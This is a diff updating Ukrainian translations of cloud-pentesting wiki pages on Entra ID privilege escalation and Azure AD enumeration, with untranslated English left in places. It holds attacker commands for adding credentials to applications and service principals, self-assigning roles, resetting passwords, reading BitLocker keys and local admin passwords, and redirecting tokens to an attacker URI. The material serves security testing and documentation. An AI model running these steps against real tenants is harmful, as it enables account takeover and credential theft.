привілеїв. +Ця роль містить необхідні гранулярні дозволи, щоб мати змогу призначати ролі принципалам та надавати ролям додаткові дозволи. Обидві дії можуть бути використані для ескалації привілеїв. -- Призначити роль користувачу: +- Призначити роль користувачеві: ```bash # List enabled built-in roles az rest --method GET \ @@ -27,7 +27,7 @@ az rest --method POST \ \"@odata.id\": \"https://graph.microsoft.com/v1.0/directoryObjects/$userId\" }" ``` -- Додати більше дозволів до ролі: +- Додати більше дозволів для ролі: ```bash # List only custom roles az rest --method GET \ @@ -48,11 +48,11 @@ az rest --method PATCH \ ] }' ``` -## Applications +## Додатки ### `microsoft.directory/applications/credentials/update` -Це дозволяє зловмиснику **додати облікові дані** (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати ці привілеї. +Це дозволяє зловмисникові **додавати облікові дані** (паролі або сертифікати) до існуючих додатків. Якщо додаток має привілейовані дозволи, зловмисник може автентифікуватися як цей додаток і отримати відповідні привілеї. ```bash # Generate a new password without overwritting old ones az ad app credential reset --id --append @@ -61,13 +61,13 @@ az ad app credential reset --id --create-cert ``` ### `microsoft.directory/applications.myOrganization/credentials/update` -Це дозволяє виконувати ті ж дії, що й `applications/credentials/update`, але обмежено однодоменною організацією. +Це дозволяє ті самі дії, що й `applications/credentials/update`, але обмежено додатками одного каталогу. ```bash az ad app credential reset --id --append ``` ### `microsoft.directory/applications/owners/update` -Додавши себе як власника, зловмисник може маніпулювати додатком, включаючи облікові дані та дозволи. +Додавши себе як власника, attacker може маніпулювати додатком, включно з credentials та permissions. ```bash az ad app owner add --id --owner-object-id az ad app credential reset --id --append @@ -77,40 +77,153 @@ az ad app owner list --id ``` ### `microsoft.directory/applications/allProperties/update` -Зловмисник може додати URI перенаправлення до додатків, які використовуються користувачами орендаря, а потім поділитися з ними URL-адресами для входу, які використовують новий URL-адресу перенаправлення, щоб вкрасти їх токени. Зверніть увагу, що якщо користувач вже увійшов до додатку, аутентифікація буде автоматичною без необхідності приймати щось. +Зловмисник може додати redirect URI до застосунків, які використовують користувачі орендаря, а потім надіслати їм login URLs, що використовують новий redirect URL, щоб викрасти їхні tokens. Зауважте, що якщо користувач уже був увійшов у застосунок, автентифікація відбудеться автоматично без необхідності, щоб користувач щось підтверджував. -Зверніть увагу, що також можливо змінити дозволи, які запитує додаток, щоб отримати більше дозволів, але в цьому випадку користувачеві потрібно буде знову прийняти запит на всі дозволи. +Зверніть увагу, що також можливо змінити permissions, які запитує застосунок, щоб отримати більше прав, але в цьому випадку користувач повинен буде знову прийняти prompt, який запитує всі permissions. ```bash # Get current redirect uris az ad app show --id ea693289-78f3-40c6-b775-feabd8bef32f --query "web.redirectUris" # Add a new redirect URI (make sure to keep the configured ones) az ad app update --id --web-redirect-uris "https://original.com/callback https://attack.com/callback" ``` +### Applications Privilege Escalation + +**As explained in [this post](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)** було дуже поширено знаходити стандартні додатки, яким призначено **API permissions** типу **`Application`**. API Permission (як це називається в консолі Entra ID) типу **`Application`** означає, що додаток може звертатися до API і виконувати дії без контексту користувача (без входу користувача в додаток) і без потреби в ролях Entra ID. Тому дуже часто можна знайти **додатки з високими привілеями в кожному Entra ID tenant**. + +Якщо в одного зловмисника є будь-який permission/role, який дозволяє **update the credentials (secret o certificate) of the application**, він може згенерувати нові credentials і використати їх, щоб **authenticate as the application**, отримавши всі permissions, які належать цьому додатку. + +Зверніть увагу, що згаданий блог публікував деякі **API permissions** поширених Microsoft default applications, однак через деякий час Microsoft виправила цю проблему і зараз неможливо увійти як Microsoft applications. Проте все ще можна знайти **custom applications with high privileges that could be abused**. + +How to enumerate the API permissions of an application: +```bash +# Get "API Permissions" of an App +## Get the ResourceAppId +az ad app show --id "" --query "requiredResourceAccess" --output json +## e.g. +[ +{ +"resourceAccess": [ +{ +"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d", +"type": "Scope" +}, +{ +"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa", +"type": "Role" +} +], +"resourceAppId": "00000003-0000-0000-c000-000000000000" +} +] + +## For the perms of type "Scope" +az ad sp show --id --query "oauth2PermissionScopes[?id==''].value" -o tsv +az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv + +## For the perms of type "Role" +az ad sp show --id --query "appRoles[?id==''].value" -o tsv +az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv +``` +
+Знайти всі додатки з дозволами API до не-Microsoft API (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ ## Service Principals ### `microsoft.directory/servicePrincipals/credentials/update` -Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї. +Це дозволяє нападникові додавати облікові дані до існуючих service principals. Якщо service principal має підвищені повноваження, нападник може отримати ці повноваження. ```bash az ad sp credential reset --id --append ``` > [!CAUTION] -> Новий згенерований пароль не з'явиться в веб-консолі, тому це може бути прихований спосіб підтримувати постійність над службовим принципалом.\ -> З API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` +> Новий згенерований пароль не відображатиметься у веб-консолі, тому це може бути прихований спосіб підтримувати persistence для service principal.\ +> Через API їх можна знайти за допомогою: `az ad sp list --query '[?length(keyCredentials) > 0 || length(passwordCredentials) > 0].[displayName, appId, keyCredentials, passwordCredentials]' -o json` -Якщо ви отримали помилку `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."`, це тому, що **неможливо змінити властивість passwordCredentials** службового принципала, і спочатку потрібно його розблокувати. Для цього вам потрібна дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє вам виконати: +If you get the error `"code":"CannotUpdateLockedServicePrincipalProperty","message":"Property passwordCredentials is invalid."` it's because **неможливо змінити властивість passwordCredentials у SP** і спочатку потрібно розблокувати його. Для цього вам потрібен дозвіл (`microsoft.directory/applications/allProperties/update`), який дозволяє виконати: ```bash az rest --method PATCH --url https://graph.microsoft.com/v1.0/applications/ --body '{"servicePrincipalLockConfiguration": null}' ``` ### `microsoft.directory/servicePrincipals/synchronizationCredentials/manage` -Це дозволяє зловмиснику додавати облікові дані до існуючих службових принципів. Якщо службовий принцип має підвищені привілеї, зловмисник може прийняти ці привілеї. +Це дозволяє зловмисникові додавати облікові дані до існуючих service principals. Якщо service principal має підвищені привілеї, зловмисник може отримати ці привілеї. ```bash az ad sp credential reset --id --append ``` ### `microsoft.directory/servicePrincipals/owners/update` -Схоже на додатки, цей дозвіл дозволяє додавати більше власників до службового принципалу. Володіння службовим принципалом дозволяє контролювати його облікові дані та дозволи. +Подібно до додатків, цей дозвіл дозволяє додавати більше власників до service principal. Володіння service principal дозволяє контролювати його облікові дані та дозволи. ```bash # Add new owner spId="" @@ -128,13 +241,13 @@ az ad sp credential reset --id --append az ad sp owner list --id ``` > [!CAUTION] -> Після додавання нового власника я спробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це метод, який потрібно використовувати для видалення власника. Тому ви **не можете видалити власників в даний час**. +> Після додавання нового власника я пробував його видалити, але API відповів, що метод DELETE не підтримується, навіть якщо це саме метод, який потрібно використовувати для видалення власника. Отже, ви **не можете зараз видаляти власників**. ### `microsoft.directory/servicePrincipals/disable` and `enable` -Ці дозволи дозволяють вимкнути та увімкнути службові принципали. Зловмисник може використовувати цей дозвіл, щоб увімкнути службовий принципал, до якого він може отримати доступ якимось чином, щоб ескалувати привілеї. +Ці дозволи дають змогу відключати та вмикати service principals. Зловмисник може використати цей дозвіл, щоб увімкнути service principal, до якого він якимось чином отримав доступ, для ескалації привілеїв. -Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений службовий принципал. +Зверніть увагу, що для цієї техніки зловмиснику знадобляться додаткові дозволи, щоб захопити увімкнений service principal. ```bash # Disable az ad sp update --id --account-enabled false @@ -144,7 +257,7 @@ az ad sp update --id --account-enabled true ``` #### `microsoft.directory/servicePrincipals/getPasswordSingleSignOnCredentials` & `microsoft.directory/servicePrincipals/managePasswordSingleSignOnCredentials` -Ці дозволи дозволяють створювати та отримувати облікові дані для єдиного входу, що може надати доступ до сторонніх додатків. +Ці дозволи дозволяють створювати та отримувати облікові дані для single sign-on, що може надати доступ до додатків третіх сторін. ```bash # Generate SSO creds for a user or a group spID="" @@ -164,44 +277,36 @@ az rest --method POST \ --headers "Content-Type=application/json" \ --body "{\"id\": \"$credID\"}" ``` -### Підвищення привілеїв додатків - -**Як пояснено в [цьому пості](https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/)**, було дуже поширено знаходити стандартні додатки, яким призначено **API permissions** типу **`Application`**. API Permission (як називається в консолі Entra ID) типу **`Application`** означає, що додаток може отримати доступ до API без контексту користувача (без входу користувача в додаток) і без необхідності ролей Entra ID для цього. Тому дуже поширено знаходити **високопривілейовані додатки в кожному орендарі Entra ID**. - -Отже, якщо зловмисник має будь-які дозволи/ролі, які дозволяють **оновлювати облікові дані (секрет або сертифікат) додатка**, зловмисник може згенерувати нові облікові дані і потім використовувати їх для **автентифікації як додаток**, отримуючи всі дозволи, які має додаток. - -Зверніть увагу, що згаданий блог ділиться деякими **API permissions** загальних стандартних додатків Microsoft, однак через деякий час після цього звіту Microsoft виправила цю проблему, і тепер неможливо увійти як додатки Microsoft. Однак все ще можливо знайти **кастомні додатки з високими привілеями, які можуть бути зловживані**. - --- ## Групи ### `microsoft.directory/groups/allProperties/update` -Цей дозвіл дозволяє додавати користувачів до привілейованих груп, що призводить до підвищення привілеїв. +Цей дозвіл дає змогу додавати користувачів до привілейованих груп, що може призвести до ескалації привілеїв. ```bash az ad group member add --group --member-id ``` -**Примітка**: Ця дозволена дія виключає групи, які можуть бути призначені ролям Entra ID. +**Примітка**: Це дозволення не поширюється на Entra ID role-assignable groups. ### `microsoft.directory/groups/owners/update` -Ця дозволена дія дозволяє стати власником груп. Власник групи може контролювати членство в групі та налаштування, потенційно підвищуючи привілеї в групі. +Це дозволення дає змогу стати власником груп. Власник групи може керувати членством у групі та налаштуваннями, що може призвести до підвищення привілеїв у межах групи. ```bash az ad group owner add --group --owner-object-id az ad group member add --group --member-id ``` -**Примітка**: Це дозволення виключає групи, які можуть бути призначені ролям Entra ID. +**Примітка**: Цей дозвіл виключає Entra ID role-assignable groups. ### `microsoft.directory/groups/members/update` -Це дозволення дозволяє додавати учасників до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ. +Цей дозвіл дозволяє додавати членів до групи. Зловмисник може додати себе або шкідливі облікові записи до привілейованих груп, що може надати підвищений доступ. ```bash az ad group member add --group --member-id ``` ### `microsoft.directory/groups/dynamicMembershipRule/update` -Ця дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання. +Цей дозвіл дозволяє оновлювати правило членства в динамічній групі. Зловмисник може змінити динамічні правила, щоб включити себе до привілейованих груп без явного додавання. ```bash groupId="" az rest --method PATCH \ @@ -212,11 +317,11 @@ az rest --method PATCH \ "membershipRuleProcessingState": "On" }' ``` -**Примітка**: Це дозволення виключає групи, які можуть бути призначені ролям Entra ID. +**Примітка**: Цей дозвіл не стосується Entra ID role-assignable groups. -### Привілейоване підвищення в динамічних групах +### Dynamic Groups Privesc -Можливо, що користувачі можуть підвищити свої привілеї, змінюючи свої власні властивості, щоб бути доданими до складу динамічних груп. Для отримання додаткової інформації дивіться: +Можливо, користувачі зможуть escalate privileges, змінивши свої властивості, щоб бути доданими як члени dynamic groups. Для додаткової інформації див.: {{#ref}} dynamic-groups.md @@ -226,13 +331,13 @@ dynamic-groups.md ### `microsoft.directory/users/password/update` -Це дозволення дозволяє скинути пароль для неадміністраторів, що дозволяє потенційному зловмиснику підвищити привілеї до інших користувачів. Це дозволення не може бути призначене для користувацьких ролей. +Цей дозвіл дозволяє скинути пароль non-admin users, що дає потенційному атакувальнику можливість escalate privileges до інших користувачів. Цей дозвіл не може бути призначений custom roles. ```bash az ad user update --id --password "kweoifuh.234" ``` ### `microsoft.directory/users/basic/update` -Ця привілегія дозволяє змінювати властивості користувача. Зазвичай можна знайти динамічні групи, які додають користувачів на основі значень властивостей, тому ця дозволена дія може дозволити користувачу встановити необхідне значення властивості, щоб стати членом конкретної динамічної групи та підвищити привілеї. +Цей привілей дозволяє змінювати властивості користувача. Часто зустрічаються dynamic groups, які додають користувачів на основі значень властивостей, тому цей дозвіл може дозволити користувачу встановити потрібне значення властивості, щоб стати членом конкретної dynamic group і підвищити свої привілеї. ```bash #e.g. change manager of a user victimUser="" @@ -248,9 +353,9 @@ az rest --method PATCH \ --headers "Content-Type=application/json" \ --body "{\"department\": \"security\"}" ``` -## Політики умовного доступу та обхід MFA +## Політики Conditional Access & MFA bypass -Неправильно налаштовані політики умовного доступу, що вимагають MFA, можуть бути обійдені, перевірте: +Неправильно налаштовані політики Conditional Access, що вимагають MFA, можуть бути bypassed, перевірте: {{#ref}} az-conditional-access-policies-mfa-bypass.md @@ -260,7 +365,7 @@ az-conditional-access-policies-mfa-bypass.md ### `microsoft.directory/devices/registeredOwners/update` -Ця дозволена дія дозволяє зловмисникам призначати себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань і даних, специфічних для пристроїв. +Цей дозвіл дозволяє зловмисникам призначати себе власниками пристроїв, щоб отримати контроль або доступ до налаштувань та даних, специфічних для пристрою. ```bash deviceId="" userId="" @@ -271,7 +376,7 @@ az rest --method POST \ ``` ### `microsoft.directory/devices/registeredUsers/update` -Цей дозвіл дозволяє зловмисникам асоціювати свій обліковий запис з пристроями, щоб отримати доступ або обійти політики безпеки. +Цей дозвіл дозволяє зловмисникам асоціювати свій обліковий запис із пристроями, щоб отримати доступ або обійти політики безпеки. ```bash deviceId="" userId="" @@ -282,7 +387,7 @@ az rest --method POST \ ``` ### `microsoft.directory/deviceLocalCredentials/password/read` -Ця дозволяє зловмисникам читати властивості резервних облікових даних локального облікового запису адміністратора для пристроїв, приєднаних до Microsoft Entra, включаючи пароль. +Цей дозвіл дозволяє зловмисникам читати властивості збережених облікових даних локального облікового запису адміністратора для пристроїв, приєднаних до Microsoft Entra, включно з паролем ```bash # List deviceLocalCredentials az rest --method GET \ @@ -297,7 +402,7 @@ az rest --method GET \ ### `microsoft.directory/bitlockerKeys/key/read` -Ця дозволяє доступ до ключів BitLocker, що може дозволити зловмиснику розшифрувати диски, порушуючи конфіденційність даних. +Цей дозвіл дозволяє отримувати доступ до BitLocker keys, що може дозволити attacker decrypt drives, поставивши під загрозу конфіденційність даних. ```bash # List recovery keys az rest --method GET \ @@ -308,7 +413,7 @@ recoveryKeyId="" az rest --method GET \ --uri "https://graph.microsoft.com/v1.0/informationProtection/bitlocker/recoveryKeys/$recoveryKeyId?\$select=key" ``` -## Інші цікаві дозволи (TODO) +## Інші цікаві permissions (TODO) - `microsoft.directory/applications/permissions/update` - `microsoft.directory/servicePrincipals/permissions/update` diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index e627c6867..4b4a653e6 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -2,11 +2,11 @@ {{#include ../../../banners/hacktricks-training.md}} -## Основна інформація +## Базова інформація -Azure Active Directory (Azure AD) є хмарним сервісом Microsoft для управління ідентифікацією та доступом. Він дозволяє працівникам входити в систему та отримувати доступ до ресурсів як всередині організації, так і поза нею, включно з Microsoft 365, Azure portal та численними іншими SaaS-застосунками. Конструкція Azure AD спрямована на надання базових сервісів ідентифікації, зокрема **аутентифікації, авторизації та керування користувачами**. +Azure Active Directory (Azure AD) слугує хмарним сервісом Microsoft для управління ідентифікацією та доступом. Він дозволяє співробітникам увійти й отримати доступ до ресурсів як всередині організації, так і поза її межами, включно з Microsoft 365, Azure portal та великою кількістю інших SaaS applications. Дизайн Azure AD зосереджений на наданні базових ідентифікаційних сервісів, зокрема **authentication, authorization, and user management**. -Ключові функції Azure AD включають **багатофакторну автентифікацію** та **умовний доступ**, а також безшовну інтеграцію з іншими сервісами безпеки Microsoft. Ці можливості суттєво підвищують безпеку ідентичностей користувачів і дають організаціям змогу ефективно впроваджувати та застосовувати свої політики доступу. Як фундаментальний компонент екосистеми хмарних сервісів Microsoft, Azure AD має вирішальне значення для хмарного управління ідентичностями користувачів. +Ключові можливості Azure AD включають **multi-factor authentication** та **conditional access**, а також безшовну інтеграцію з іншими службами безпеки Microsoft. Ці функції значно підвищують безпеку облікових записів користувачів і дають змогу організаціям ефективно впроваджувати й забезпечувати свої політики доступу. Як фундаментальний компонент екосистеми хмарних сервісів Microsoft, Azure AD є вирішальним для хмарного управління ідентифікацією користувачів. ## Перерахування @@ -185,11 +185,11 @@ Connect-AzureAD -AccountId test@corp.onmicrosoft.com -AadAccessToken $token {{#endtab }} {{#endtabs }} -Коли ви **виконуєте вхід** через **CLI** в Azure з будь-якої програми, ви використовуєте **Azure Application** з **tenant**, який належить **Microsoft**. Ці Applications, як ті, що ви можете створити у своєму обліковому записі, **мають client id**. Ви **не зможете побачити всі з них** у **allowed applications lists**, які видно в консолі, **але вони дозволені за замовчуванням**. +Коли ви **login** через **CLI** в Azure будь-якою програмою, ви використовуєте **Azure Application** з **tenant**, що належить **Microsoft**. Ці **Applications**, як і ті, що ви можете створити у своєму обліковому записі, **have a client id**. Ви **won't be able to see all of them** в **allowed applications lists**, які видно в консолі, **але вони дозволені за замовчуванням**. -Наприклад, **powershell script**, який **автентифікується**, використовує додаток з client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо додаток не відображається в консолі, системний адміністратор може **заблокувати цей додаток**, щоб користувачі не могли отримати доступ за допомогою інструментів, що підключаються через цей App. +Наприклад, **powershell script**, який **authenticates**, використовує app з client id **`1950a258-227b-4e31-a9cf-717495945fc2`**. Навіть якщо app не відображається в консолі, sysadmin може **block that application**, щоб користувачі не могли підключатися за допомогою інструментів, які підключаються через цей App. -Однак існують **інші client-ids** додатків, які **дозволяють підключитися до Azure**: +Однак існують **other client-ids** застосунків, які **will allow you to connect to Azure**: ```bash # The important part is the ClientId, which identifies the application to login inside Azure @@ -366,15 +366,15 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ``` ### MFA & Conditional Access Policies -Наполегливо рекомендується додати MFA для кожного користувача; однак деякі компанії не встановлюють його або налаштовують через Conditional Access: для користувача буде **вимагатися MFA, якщо** він увійде з певної локації, браузера або за **якоїсь умови**. Ці політики, якщо неправильно налаштовані, можуть піддаватися **bypasses**. Перевірте: +Рекомендується додати MFA для кожного користувача, проте деякі компанії цього не роблять або налаштовують його через Conditional Access: MFA буде **потрібний, якщо** користувач входить з певного місця, браузера або **за якоїсь умови**. Ці політики, якщо налаштовані неправильно, можуть бути вразливі до **bypasses**. Перевірте: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md {{#endref}} -### Групи +### Groups -Для додаткової інформації про групи Entra ID див.: +Для детальнішої інформації про Entra ID groups дивіться: {{#ref}} ../az-basic-information/ @@ -483,13 +483,13 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * #### Додати користувача до групи -Власники групи можуть додавати нових користувачів до групи +Власники групи можуть додавати нових користувачів до групи. ```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> Групи можуть бути динамічними, що означає, що **якщо користувач відповідає певним умовам, його буде додано до групи**. Звісно, якщо умови базуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **опинитися в інших групах**.\ -> Дізнайтеся, як зловживати динамічними групами на наступній сторінці: +> Групи можуть бути динамічними, що по суті означає, що **якщо користувач відповідає певним умовам, він буде доданий до групи**. Звісно, якщо умови ґрунтуються на **атрибутах**, які **користувач** може **контролювати**, він може зловживати цією функцією, щоб **опинитися в інших групах**.\ +> Перегляньте, як зловживати dynamic groups на наступній сторінці: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/dynamic-groups.md @@ -497,7 +497,7 @@ Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ### Service Principals -Для отримання додаткової інформації про Entra ID service principals дивіться: +Для отримання додаткової інформації про Entra ID service principals див.: {{#ref}} ../az-basic-information/ @@ -602,7 +602,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh
-Переглянути список і спробувати додати client secret до кожного Enterprise App +Перелічте та спробуйте додати client secret для кожного Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret @@ -709,7 +709,7 @@ Write-Output "Failed to Enumerate the Applications." ### Додатки -Для детальнішої інформації про додатки див.: +Для отримання додаткової інформації про додатки див.: {{#ref}} ../az-basic-information/ @@ -717,8 +717,8 @@ Write-Output "Failed to Enumerate the Applications." Коли створюється App, надаються 2 типи дозволів: -- **Дозволи**, надані **Service Principal** -- **Дозволи**, які **app** може мати та використовувати **від імені користувача**. +- **Дозволи** надані **Service Principal** +- **Дозволи**, які **app** може мати і використовувати **від імені користувача**. {{#tabs }} {{#tab name="az cli" }} @@ -771,6 +771,81 @@ az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2Permiss az ad sp show --id --query "appRoles[?id==''].value" -o tsv az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv ``` +
+Знайти всі додатки, які мають дозволи API для сервісів, що не належать Microsoft (az cli) +```bash +#!/usr/bin/env bash +set -euo pipefail + +# Known Microsoft first-party owner organization IDs. +MICROSOFT_OWNER_ORG_IDS=( +"f8cdef31-a31e-4b4a-93e4-5f571e91255a" +"72f988bf-86f1-41af-91ab-2d7cd011db47" +) + +is_microsoft_owner() { +local owner="$1" +local id +for id in "${MICROSOFT_OWNER_ORG_IDS[@]}"; do +if [ "$owner" = "$id" ]; then +return 0 +fi +done +return 1 +} + +command -v az >/dev/null 2>&1 || { echo "az CLI not found" >&2; exit 1; } +command -v jq >/dev/null 2>&1 || { echo "jq not found" >&2; exit 1; } +az account show >/dev/null + +apps_json="$(az ad app list --all --query '[?length(requiredResourceAccess) > `0`].[displayName,appId,requiredResourceAccess]' -o json)" + +tmp_map="$(mktemp)" +tmp_ids="$(mktemp)" +trap 'rm -f "$tmp_map" "$tmp_ids"' EXIT + +# Build unique resourceAppId values used by applications. +jq -r '.[][2][]?.resourceAppId' <<<"$apps_json" | sort -u > "$tmp_ids" + +# Resolve resourceAppId -> owner organization + API display name. +while IFS= read -r rid; do +[ -n "$rid" ] || continue +sp_json="$(az ad sp show --id "$rid" --query '{owner:appOwnerOrganizationId,name:displayName}' -o json 2>/dev/null || true)" +owner="$(jq -r '.owner // "UNKNOWN"' <<<"$sp_json")" +name="$(jq -r '.name // "UNKNOWN"' <<<"$sp_json")" +printf '%s\t%s\t%s\n' "$rid" "$owner" "$name" >> "$tmp_map" +done < "$tmp_ids" + +echo -e "appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tresourceOwnerOrgId\tpermissionType\tpermissionId" + +# Print only app permissions where the target API is NOT Microsoft-owned. +while IFS= read -r row; do +app_name="$(jq -r '.[0]' <<<"$row")" +app_id="$(jq -r '.[1]' <<<"$row")" + +while IFS= read -r rra; do +resource_app_id="$(jq -r '.resourceAppId' <<<"$rra")" +map_line="$(awk -F '\t' -v id="$resource_app_id" '$1==id {print; exit}' "$tmp_map")" +owner_org="$(awk -F'\t' '{print $2}' <<<"$map_line")" +resource_name="$(awk -F'\t' '{print $3}' <<<"$map_line")" + +[ -n "$owner_org" ] || owner_org="UNKNOWN" +[ -n "$resource_name" ] || resource_name="UNKNOWN" + +if is_microsoft_owner "$owner_org"; then +continue +fi + +while IFS= read -r access; do +perm_type="$(jq -r '.type' <<<"$access")" +perm_id="$(jq -r '.id' <<<"$access")" +echo -e "${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${owner_org}\t${perm_type}\t${perm_id}" +done < <(jq -c '.resourceAccess[]' <<<"$rra") +done < <(jq -c '.[2][]' <<<"$row") +done < <(jq -c '.[]' <<<"$apps_json") +``` +
+ {{#endtab }} {{#tab name="Az" }} @@ -820,21 +895,21 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtabs }} > [!WARNING] -> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може підвищити привілеї до Global Admin, надаючи собі цю роль.\ +> Додаток з дозволом **`AppRoleAssignment.ReadWrite`** може **підвищити привілеї до Global Admin**, надавши сам собі цю роль.\ > Для отримання додаткової інформації [**перегляньте це**](https://posts.specterops.io/azure-privilege-escalation-via-azure-api-permissions-abuse-74aee1006f48). > [!NOTE] -> Секретний рядок, який застосунок використовує для підтвердження своєї ідентичності при запиті токена, — це application password.\ -> Отже, якщо знайдете цей **password**, ви зможете отримати доступ як **service principal** **inside** **tenant**.\ -> Зверніть увагу, що цей password видно лише під час його створення (ви можете змінити його, але не зможете отримати знову).\ -> Власник додатка може **додати password** до нього (тому він може видавати себе за нього).\ -> Входи під цими **service principals** не позначаються як ризикові і у них **не буде MFA.** +> Таємний рядок, який додаток використовує для підтвердження своєї ідентичності при запиті токена — це пароль додатка.\ +> Отже, якщо знайти цей **пароль**, ви можете отримати доступ як **service principal** **всередині** **tenant**.\ +> Зауважте, що цей пароль видно лише під час генерації (ви можете змінити його, але не можете отримати його знову).\ +> **Власник** **додатка** може **додати пароль** до нього (щоб він міг його видавати).\ +> Входи від імені цих service principals **не позначаються як ризикові** і **не матимуть MFA.** -Можна знайти список часто використовуваних App IDs, що належать Microsoft, за адресою [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +It's possible to find a list of commonly used App IDs that belongs to Microsoft in [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) ### Managed Identities -Для отримання додаткової інформації про Managed Identities див.: +For more information about Managed Identities check: {{#ref}} ../az-basic-information/ @@ -850,9 +925,9 @@ az identity list --output table {{#endtab }} {{#endtabs }} -### Azure Ролі +### Azure ролі -Для отримання додаткової інформації про ролі Azure див.: +Для отримання додаткової інформації про ролі Azure дивіться: {{#ref}} ../az-basic-information/ @@ -939,7 +1014,7 @@ Headers = @{ ### Ролі Entra ID -Для отримання додаткової інформації про ролі 